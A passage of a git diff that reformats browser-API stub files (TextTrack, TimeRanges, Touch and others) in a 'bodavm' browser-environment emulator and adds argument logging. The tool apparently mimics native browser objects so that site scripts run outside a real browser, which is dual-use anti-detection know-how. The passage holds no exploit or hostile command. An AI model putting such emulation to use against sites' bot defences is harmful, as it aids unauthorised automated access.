get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "language", {configurable:true, enumerable:true, get:function language (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "language_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_get", arguments)}, set:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "cues", {configurable:true, enumerable:true, get:function cues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "cues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "activeCues", {configurable:true, enumerable:true, get:function activeCues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "activeCues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "oncuechange", {configurable:true, enumerable:true, get:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_get", arguments)}, set:function oncuechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "addCue", {configurable:true, enumerable:true, writable:true, value:function addCue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "addCue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrack', "removeCue", {configurable:true, enumerable:true, writable:true, value:function removeCue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "removeCue", arguments)}},'prototype'); +// TextTrack对象 + +bodavm.memory.globalobj['TextTrack'] = function TextTrack() { + console.log_copy('TextTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrack'], "TextTrack"); +bodavm.memory.globalobj['TextTrack'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrack'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrack', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "language", { + configurable: true, + enumerable: true, + get: function language() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "language_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_get", arguments); + }, + set: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "mode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "cues", { + configurable: true, + enumerable: true, + get: function cues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "cues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "activeCues", { + configurable: true, + enumerable: true, + get: function activeCues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "activeCues_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "oncuechange", { + configurable: true, + enumerable: true, + get: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_get", arguments); + }, + set: function oncuechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "oncuechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "addCue", { + configurable: true, + enumerable: true, + writable: true, + value: function addCue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "addCue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrack', "removeCue", { + configurable: true, + enumerable: true, + writable: true, + value: function removeCue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrack'].prototype, "TextTrack", "removeCue", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextTrackCue.js b/env_xbb_lastest_jsdom/env/TextTrackCue.js index 76c02cfe..df2f5745 100644 --- a/env_xbb_lastest_jsdom/env/TextTrackCue.js +++ b/env_xbb_lastest_jsdom/env/TextTrackCue.js @@ -1,12 +1,87 @@ -// TextTrackCue对象 -bodavm.memory.globalobj['TextTrackCue'] = function TextTrackCue(){if (!(this instanceof TextTrackCue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCue'], "TextTrackCue"); -bodavm.memory.globalobj['TextTrackCue'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TextTrackCue'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TextTrackCue', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_get", arguments)}, set:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_get", arguments)}, set:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "endTime", {configurable:true, enumerable:true, get:function endTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_get", arguments)}, set:function endTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "pauseOnExit", {configurable:true, enumerable:true, get:function pauseOnExit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_get", arguments)}, set:function pauseOnExit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "onenter", {configurable:true, enumerable:true, get:function onenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_get", arguments)}, set:function onenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCue', "onexit", {configurable:true, enumerable:true, get:function onexit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_get", arguments)}, set:function onexit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_set", arguments)}},'prototype'); +// TextTrackCue对象 + +bodavm.memory.globalobj['TextTrackCue'] = function TextTrackCue() { + console.log_copy('TextTrackCue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrackCue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCue'], "TextTrackCue"); +bodavm.memory.globalobj['TextTrackCue'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrackCue'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrackCue', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_get", arguments); + }, + set: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "id_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "startTime", { + configurable: true, + enumerable: true, + get: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_get", arguments); + }, + set: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "startTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "endTime", { + configurable: true, + enumerable: true, + get: function endTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_get", arguments); + }, + set: function endTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "endTime_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "pauseOnExit", { + configurable: true, + enumerable: true, + get: function pauseOnExit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_get", arguments); + }, + set: function pauseOnExit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "pauseOnExit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "onenter", { + configurable: true, + enumerable: true, + get: function onenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_get", arguments); + }, + set: function onenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCue', "onexit", { + configurable: true, + enumerable: true, + get: function onexit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_get", arguments); + }, + set: function onexit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCue'].prototype, "TextTrackCue", "onexit_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextTrackCueList.js b/env_xbb_lastest_jsdom/env/TextTrackCueList.js index 8c1b6570..58462f44 100644 --- a/env_xbb_lastest_jsdom/env/TextTrackCueList.js +++ b/env_xbb_lastest_jsdom/env/TextTrackCueList.js @@ -1,5 +1,33 @@ -// TextTrackCueList对象 -bodavm.memory.globalobj['TextTrackCueList'] = function TextTrackCueList(){if (!(this instanceof TextTrackCueList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCueList'], "TextTrackCueList"); -bodavm.toolsFunc.defineProperty('TextTrackCueList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackCueList', "getCueById", {configurable:true, enumerable:true, writable:true, value:function getCueById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "getCueById", arguments)}},'prototype'); +// TextTrackCueList对象 + +bodavm.memory.globalobj['TextTrackCueList'] = function TextTrackCueList() { + console.log_copy('TextTrackCueList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrackCueList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackCueList'], "TextTrackCueList"); +bodavm.toolsFunc.defineProperty('TextTrackCueList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackCueList', "getCueById", { + configurable: true, + enumerable: true, + writable: true, + value: function getCueById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackCueList'].prototype, "TextTrackCueList", "getCueById", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TextTrackList.js b/env_xbb_lastest_jsdom/env/TextTrackList.js index 10339710..17b558dc 100644 --- a/env_xbb_lastest_jsdom/env/TextTrackList.js +++ b/env_xbb_lastest_jsdom/env/TextTrackList.js @@ -1,10 +1,65 @@ -// TextTrackList对象 -bodavm.memory.globalobj['TextTrackList'] = function TextTrackList(){if (!(this instanceof TextTrackList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackList'], "TextTrackList"); -bodavm.memory.globalobj['TextTrackList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TextTrackList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TextTrackList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "onaddtrack", {configurable:true, enumerable:true, get:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_get", arguments)}, set:function onaddtrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "onremovetrack", {configurable:true, enumerable:true, get:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_get", arguments)}, set:function onremovetrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TextTrackList', "getTrackById", {configurable:true, enumerable:true, writable:true, value:function getTrackById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "getTrackById", arguments)}},'prototype'); +// TextTrackList对象 + +bodavm.memory.globalobj['TextTrackList'] = function TextTrackList() { + console.log_copy('TextTrackList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TextTrackList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TextTrackList'], "TextTrackList"); +bodavm.memory.globalobj['TextTrackList'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TextTrackList'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TextTrackList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onaddtrack", { + configurable: true, + enumerable: true, + get: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_get", arguments); + }, + set: function onaddtrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onaddtrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "onremovetrack", { + configurable: true, + enumerable: true, + get: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_get", arguments); + }, + set: function onremovetrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "onremovetrack_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TextTrackList', "getTrackById", { + configurable: true, + enumerable: true, + writable: true, + value: function getTrackById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TextTrackList'].prototype, "TextTrackList", "getTrackById", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TimeRanges.js b/env_xbb_lastest_jsdom/env/TimeRanges.js index e6490d27..4751a6a3 100644 --- a/env_xbb_lastest_jsdom/env/TimeRanges.js +++ b/env_xbb_lastest_jsdom/env/TimeRanges.js @@ -1,6 +1,41 @@ -// TimeRanges对象 -bodavm.memory.globalobj['TimeRanges'] = function TimeRanges(){if (!(this instanceof TimeRanges)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TimeRanges'], "TimeRanges"); -bodavm.toolsFunc.defineProperty('TimeRanges', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TimeRanges', "end", {configurable:true, enumerable:true, writable:true, value:function end (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "end", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TimeRanges', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "start", arguments)}},'prototype'); +// TimeRanges对象 + +bodavm.memory.globalobj['TimeRanges'] = function TimeRanges() { + console.log_copy('TimeRanges 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TimeRanges)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TimeRanges'], "TimeRanges"); +bodavm.toolsFunc.defineProperty('TimeRanges', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TimeRanges', "end", { + configurable: true, + enumerable: true, + writable: true, + value: function end() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "end", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TimeRanges', "start", { + configurable: true, + enumerable: true, + writable: true, + value: function start() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TimeRanges'].prototype, "TimeRanges", "start", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Touch.js b/env_xbb_lastest_jsdom/env/Touch.js index 8f88751c..7e0ff13e 100644 --- a/env_xbb_lastest_jsdom/env/Touch.js +++ b/env_xbb_lastest_jsdom/env/Touch.js @@ -1,15 +1,113 @@ -// Touch对象 -bodavm.memory.globalobj['Touch'] = function Touch(){if (!(this instanceof Touch)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Touch': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Touch'], "Touch"); -bodavm.toolsFunc.defineProperty('Touch', "identifier", {configurable:true, enumerable:true, get:function identifier (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "identifier_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "screenX", {configurable:true, enumerable:true, get:function screenX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "screenY", {configurable:true, enumerable:true, get:function screenY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "clientX", {configurable:true, enumerable:true, get:function clientX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "clientY", {configurable:true, enumerable:true, get:function clientY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "pageX", {configurable:true, enumerable:true, get:function pageX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "pageY", {configurable:true, enumerable:true, get:function pageY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "radiusX", {configurable:true, enumerable:true, get:function radiusX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "radiusY", {configurable:true, enumerable:true, get:function radiusY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "rotationAngle", {configurable:true, enumerable:true, get:function rotationAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "rotationAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Touch', "force", {configurable:true, enumerable:true, get:function force (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "force_get", arguments)}, set:undefined},'prototype'); +// Touch对象 + +bodavm.memory.globalobj['Touch'] = function Touch() { + console.log_copy('Touch 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Touch)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Touch': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Touch'], "Touch"); +bodavm.toolsFunc.defineProperty('Touch', "identifier", { + configurable: true, + enumerable: true, + get: function identifier() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "identifier_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "screenX", { + configurable: true, + enumerable: true, + get: function screenX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "screenY", { + configurable: true, + enumerable: true, + get: function screenY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "screenY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "clientX", { + configurable: true, + enumerable: true, + get: function clientX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "clientY", { + configurable: true, + enumerable: true, + get: function clientY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "clientY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "pageX", { + configurable: true, + enumerable: true, + get: function pageX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "pageY", { + configurable: true, + enumerable: true, + get: function pageY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "pageY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "radiusX", { + configurable: true, + enumerable: true, + get: function radiusX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Touch'].prototype, "Touch", "radiusX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Touch', "radiusY", { + configurable: true, + enumerable: true, + get: function radiusY() { + return bodavm.toolsFunc.dispatch(this, 